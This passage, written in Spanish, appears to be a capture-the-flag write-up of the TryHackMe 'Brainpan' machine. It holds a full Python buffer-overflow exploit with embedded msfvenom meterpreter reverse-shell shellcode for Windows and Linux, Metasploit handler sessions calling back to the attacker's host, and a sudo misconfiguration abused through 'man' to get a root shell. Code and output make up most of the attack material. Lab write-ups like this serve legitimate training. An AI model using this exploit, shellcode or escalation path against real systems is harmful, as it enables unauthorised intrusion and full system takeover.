 Message=  0x311712f3 : jmp esp |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\bof\brainpan\brainpan.exe), 0x0

La dirección de memoria que apunta a un salto a la shellcode es 311712F3. Es necesario convertir la dirección de memoria a little endian para poder utilizarla en el exploit.

python -c "import struct; print(struct.pack('<I', 0x311712F3))"

b'\xf3\x12\x171'

Lo añado a la variable retn del exploit.

Shellcode

Para generar la shellcode, voy a utilizar msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 EXITFUNC=process -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] = 
"\xd9\xc1\xb8\x35\x89\xc6\x94\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x59\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\xd7\x7c\x3a"
"\x7c\x98\x7f\xc3\x7d\xc6\xf6\x26\x4c\xd4\x6d\x22\xfd\xe8"
"\xe6\x66\x0e\x83\xab\x92\x01\x24\x01\xbd\x2c\xb5\x1d\xb3"
"\x66\x78\xe2\x98\x4b\x1b\x9e\xe2\x9f\xfb\x9f\x2c\xd2\xfa"
"\xd8\xfa\x98\x13\xb4\x77\x30\xfb\xb2\xca\x89\xfa\x14\x9d"
"\x7a\xbc\xec\xa7\xbd\x48\x41\xa9\xed\x3b\x01\x89\x86\x73"
"\xaa\x99\x99\x50\x4f\xd0\xee\x6a\x61\x1c\x47\x19\xb5\x69"
"\x59\xcb\x87\xad\xf6\x32\x28\x20\x06\x73\x8f\xdb\x7d\x8f"
"\xf3\x66\x86\x54\x89\xbc\x03\x4a\x29\x36\xb3\xae\xcb\x9b"
"\x22\x25\xc7\x50\x20\x61\xc4\x67\xe5\x1a\xf0\xec\x08\xcc"
"\x70\xb6\x2e\xc8\xd9\x6c\x4e\x49\x84\xc3\x6f\x89\x60\xbb"
"\xd5\xc2\x83\xaa\x6a\x2b\x5c\xd3\x36\xbb\x90\x1e\xc9\x3b"
"\xbf\x29\xba\x09\x60\x82\x54\x21\xe9\x0c\xa2\x30\xfd\xae"
"\x7c\xfa\x6e\x51\x7d\xfa\xa7\x96\x29\xaa\xdf\x3f\x52\x21"
"\x20\xbf\x87\xdf\x2a\x57\xe8\xb7\x13\xa6\x80\xc5\x63\xb9"
"\x0c\x40\x85\xe9\xfc\x02\x1a\x4a\xad\xe2\xca\x22\xa7\xed"
"\x35\x52\xc8\x24\x5e\xf9\x27\x90\x36\x96\xde\xb9\xcd\x07"
"\x1e\x14\xa8\x08\x94\x9c\x4c\xc6\x5d\xd5\x5e\x3f\x3a\x15"
"\x9f\xc0\xaf\x15\xf5\xc4\x79\x42\x61\xc7\x5c\xa4\x2e\x38"
"\x8b\xb7\x29\xc6\x4a\x81\x42\xf1\xd8\xad\x3c\xfe\x0c\x2d"
"\xbd\xa8\x46\x2d\xd5\x0c\x33\x7e\xc0\x52\xee\x13\x59\xc7"
"\x11\x45\x0d\x40\x7a\x6b\x68\xa6\x25\x94\x5f\xb4\x22\x6a"
"\x1d\x93\x8a\x02\xdd\xa3\x2a\xd2\xb7\x23\x7b\xba\x4c\x0b"
"\x74\x0a\xac\x86\xdd\x02\x27\x47\xaf\xb3\x38\x42\x71\x6d"
"\x38\x61\xaa\x9e\x43\x0a\x4d\x5f\xb4\x02\x2a\x60\xb4\x2a"
"\x4c\x5d\x62\x13\x3a\xa0\xb6\x20\x35\x97\x9b\x01\xdc\xd7"
"\x88\x52\xf5";

Actualizo el exploit, añado al padding 16 bytes de NOPs y la shellcode:

import socket

ip = "1921.168.1.110"
port = 9999

prefix = "k3ss "
offset = 519
overflow = "A" * offset
retn =  "\xf3\x12\x17\x31"
padding = "\x90" * 16
payload = (
"\xd9\xc1\xb8\x35\x89\xc6\x94\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x59\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\xd7\x7c\x3a"
"\x7c\x98\x7f\xc3\x7d\xc6\xf6\x26\x4c\xd4\x6d\x22\xfd\xe8"
"\xe6\x66\x0e\x83\xab\x92\x01\x24\x01\xbd\x2c\xb5\x1d\xb3"
"\x66\x78\xe2\x98\x4b\x1b\x9e\xe2\x9f\xfb\x9f\x2c\xd2\xfa"
"\xd8\xfa\x98\x13\xb4\x77\x30\xfb\xb2\xca\x89\xfa\x14\x9d"
"\x7a\xbc\xec\xa7\xbd\x48\x41\xa9\xed\x3b\x01\x89\x86\x73"
"\xaa\x99\x99\x50\x4f\xd0\xee\x6a\x61\x1c\x47\x19\xb5\x69"
"\x59\xcb\x87\xad\xf6\x32\x28\x20\x06\x73\x8f\xdb\x7d\x8f"
"\xf3\x66\x86\x54\x89\xbc\x03\x4a\x29\x36\xb3\xae\xcb\x9b"
"\x22\x25\xc7\x50\x20\x61\xc4\x67\xe5\x1a\xf0\xec\x08\xcc"
"\x70\xb6\x2e\xc8\xd9\x6c\x4e\x49\x84\xc3\x6f\x89\x60\xbb"
"\xd5\xc2\x83\xaa\x6a\x2b\x5c\xd3\x36\xbb\x90\x1e\xc9\x3b"
"\xbf\x29\xba\x09\x60\x82\x54\x21\xe9\x0c\xa2\x30\xfd\xae"
"\x7c\xfa\x6e\x51\x7d\xfa\xa7\x96\x29\xaa\xdf\x3f\x52\x21"
"\x20\xbf\x87\xdf\x2a\x57\xe8\xb7\x13\xa6\x80\xc5\x63\xb9"
"\x0c\x40\x85\xe9\xfc\x02\x1a\x4a\xad\xe2\xca\x22\xa7\xed"
"\x35\x52\xc8\x24\x5e\xf9\x27\x90\x36\x96\xde\xb9\xcd\x07"
"\x1e\x14\xa8\x08\x94\x9c\x4c\xc6\x5d\xd5\x5e\x3f\x3a\x15"
"\x9f\xc0\xaf\x15\xf5\xc4\x79\x42\x61\xc7\x5c\xa4\x2e\x38"
"\x8b\xb7\x29\xc6\x4a\x81\x42\xf1\xd8\xad\x3c\xfe\x0c\x2d"
"\xbd\xa8\x46\x2d\xd5\x0c\x33\x7e\xc0\x52\xee\x13\x59\xc7"
"\x11\x45\x0d\x40\x7a\x6b\x68\xa6\x25\x94\x5f\xb4\x22\x6a"
"\x1d\x93\x8a\x02\xdd\xa3\x2a\xd2\xb7\x23\x7b\xba\x4c\x0b"
"\x74\x0a\xac\x86\xdd\x02\x27\x47\xaf\xb3\x38\x42\x71\x6d"
"\x38\x61\xaa\x9e\x43\x0a\x4d\x5f\xb4\x02\x2a\x60\xb4\x2a"
"\x4c\x5d\x62\x13\x3a\xa0\xb6\x20\x35\x97\x9b\x01\xdc\xd7"
"\x88\x52\xf5")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Prueba del exploit

Pongo en marcha el listener de Metasploit y lanzo el exploit:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost tun0
[-] The following options failed to validate: Value 'tun0' is not valid for option 'LHOST'.
lhost => 
msf6 exploit(multi/handler) > set lhost vboxnet0 

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Sending stage (175686 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49157) at 2023-10-08 00:21:38 +0200

meterpreter > getuid
Server username: usuario-PC\usuario
meterpreter > ls
Listing: C:\bof\brainpan
========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100777/rwxrwxrwx  21190  fil   2023-10-07 23:55:03 +0200  brainpan.exe

Como veo que ha sido un exito, preparo un shellcode para linux y ataco a la máquina de TryHackMe.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=process -b "\x00" -f c

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 150 (iteration=0)
x86/shikata_ga_nai chosen with final size 150
Payload size: 150 bytes
Final size of c file: 657 bytes
unsigned char buf[] = 
"\xbd\x44\x72\x55\xcf\xd9\xe8\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x1f\x31\x68\x15\x03\x68\x15\x83\xc0\x04\xe2\xb1\x18"
"\x5f\x91\x08\x06\xa8\xce\x39\xfb\x04\x7b\xbf\x4b\xcc\xf2"
"\x5e\x66\x91\x92\xfb\x11\x98\x92\xc9\x59\xf4\xa8\x2d\x9b"
"\xbe\x24\xcc\xf1\xa6\x6e\x5e\x57\x70\x06\xbf\x14\xb3\x98"
"\xba\x5b\x32\x80\x8a\x2f\xf8\xda\xb0\xd0\x02\x1b\xec\xba"
"\x02\x71\x09\xb2\xe0\xb4\xd8\x09\x66\x33\x1a\xe8\xda\xd7"
"\xbd\xb9\x22\x91\xc1\xad\x2c\xe1\x48\x2e\xed\x0a\x46\x70"
"\x0d\xc0\xe6\x0f\x1f\x59\x83\x30\xe7\x4a\xd0\x39\xf9\xf2"
"\x54\x53\x4a\x07\x55\x24\x2f\xc8\x1d\x27\xcf\x28\x65\x26"
"\x2f\xab\x95\x92\x2e\xab\x95\xe4\xfd\x2b";

Acceso inicial

Con el exploit preparado, lanzo el listener de Metasploit y lanzo el exploit:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.14.50.184:443 
[*] Sending stage (1017704 bytes) to 10.10.115.44
[*] Meterpreter session 2 opened (10.14.50.184:443 -> 10.10.115.44:56482) at 2023-10-08 00:44:54 +0200

meterpreter > pwd
/home/puck
meterpreter > getuid
Server username: puck
meterpreter > 

Tengo acceso a la máquina con el usuario puck. Ahora voy a escalar privilegios.

Escalada de privilegios

Pongo la shell en background y utilizo el post exploit de Metasploit para buscar exploits que me permitan escalar privilegios:


meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options 

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.106.98 - Collecting local exploits for x86/linux...
[*] 10.10.106.98 - 186 exploit checks are being tried...
[+] 10.10.106.98 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 10.10.106.98 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.5p2.pre.1ubuntu1.1 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 10.10.106.98 - Valid modules for session 1:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/sudoedit_bypass_priv_esc                       Yes                      The target appears to be vulnerable. Sudo 1.8.5p2.pre.1ubuntu1.1 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module

Intento usar el exploit exploit/linux/local/su_login pero no funciona. Tampoco lo consigo con el exploit exploit/linux/local/sudoedit_bypass_priv_esc.

Reviso los permisos de sudo:

meterpreter > shell
Process 1368 created.
Channel 99 created.
find / -type f -perm -u=s -o -type f -perm -g=s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/wall
/usr/bin/sudo
/usr/bin/chage
/usr/bin/crontab
/usr/bin/mtr
/usr/bin/dotlockfile
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/mlocate
/usr/bin/expiry
/usr/bin/bsd-write
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/mail-lock
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/mail-touchlock
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mail-unlock
/usr/bin/ssh-agent
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/sbin/unix_chkpwd


$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
$ 

Veo que el usuario puck puede ejecutar el comando /home/anansi/bin/anansi_util como root sin contraseña. Ejecuto el binario y me encuentro que permite ejecutar algunos comandos como root:

$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

Al ejecutarse con sudo, el binario que le pase al comando manual se ejecutará como root. Mirando en GTFOBins, veo que el comando man puede ejecutarse como root y es posible obtener una shell con el comando !/bin/bash:

sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man# whoami
whoami
root
root@brainpan:/usr/share/man#

Finalmente, obtengo una shell como root gracias a un binario que se ejecuta con sudo sin contraseña debido a un fallo de configuración bastante común en muchos sistemas.

Conclusiones

Después de haber practicado con el buffer overflow en varias máquinas de TryHackMe, completar esta máquina no ha sido especialmente difícil. Sin embargo, me ha servido para practicar con un entorno más realista y a buscar vulnerabilidades tras haber conseguido acceso inicial a la máquina, todo ello sin recibir ninguna pista por parte de la plataforma. Con esta máquina he acabado el bloque de buffer overflow y ahora voy a empezar con el bloque de Active Directory.

(◕‿‿◕) Hack the planet!